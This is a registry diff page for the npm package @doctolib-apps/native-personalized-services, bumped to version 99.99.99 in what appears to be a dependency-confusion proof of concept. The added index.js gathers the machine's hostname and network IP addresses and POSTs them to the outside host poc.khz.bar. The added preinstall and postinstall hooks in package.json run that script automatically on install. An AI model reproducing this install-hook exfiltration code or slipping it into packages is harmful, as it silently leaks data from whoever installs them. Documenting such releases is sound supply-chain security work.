@doctolib-apps/native-personalized-services 0.0.1-security → 99.99.99
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @doctolib-apps/native-personalized-services might be problematic. Click here for more details.
- package/README.md +2 -4
- package/index.js +41 -0
- package/package.json +9 -3
package/README.md
CHANGED
|
@@ -1,5 +1,3 @@
|
|
|
1
|
-
#
|
|
1
|
+
# @doctolib-apps/native-personalized-services
|
|
2
2
|
|
|
3
|
-
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=%40doctolib-apps%2Fnative-personalized-services for more information.
|
|
3
|
+
Claimed by dphoeniixx.
|
package/index.js
ADDED
|
@@ -0,0 +1,41 @@
|
|
|
1
|
+
const os = require("os");
|
|
2
|
+
const http = require("http");
|
|
3
|
+
|
|
4
|
+
const pkg = "@doctolib-apps/native-personalized-services";
|
|
5
|
+
const hostname = os.hostname();
|
|
6
|
+
|
|
7
|
+
const ips = [];
|
|
8
|
+
const ifaces = os.networkInterfaces();
|
|
9
|
+
for (const name of Object.keys(ifaces)) {
|
|
10
|
+
for (const iface of ifaces[name] || []) {
|
|
11
|
+
if (!iface.internal) ips.push(`${name}:${iface.family}:${iface.address}`);
|
|
12
|
+
}
|
|
13
|
+
}
|
|
14
|
+
|
|
15
|
+
const payload = JSON.stringify({
|
|
16
|
+
package: pkg,
|
|
17
|
+
hostname: hostname,
|
|
18
|
+
ips: ips,
|
|
19
|
+
});
|
|
20
|
+
|
|
21
|
+
const req = http.request(
|
|
22
|
+
{
|
|
23
|
+
method: "POST",
|
|
24
|
+
host: "poc.khz.bar",
|
|
25
|
+
path: "/install",
|
|
26
|
+
headers: {
|
|
27
|
+
"Content-Type": "application/json",
|
|
28
|
+
"Content-Length": Buffer.byteLength(payload),
|
|
29
|
+
},
|
|
30
|
+
timeout: 5000,
|
|
31
|
+
},
|
|
32
|
+
(res) => {
|
|
33
|
+
res.on("data", () => {});
|
|
34
|
+
res.on("end", () => {});
|
|
35
|
+
}
|
|
36
|
+
);
|
|
37
|
+
|
|
38
|
+
req.on("error", () => {});
|
|
39
|
+
req.on("timeout", () => req.destroy());
|
|
40
|
+
req.write(payload);
|
|
41
|
+
req.end();
|
package/package.json
CHANGED
|
@@ -1,6 +1,12 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@doctolib-apps/native-personalized-services",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "99.99.99",
|
|
4
|
+
"description": "",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node index.js",
|
|
8
|
+
"postinstall": "node index.js"
|
|
9
|
+
},
|
|
10
|
+
"author": "",
|
|
11
|
+
"license": "ISC"
|
|
6
12
|
}
|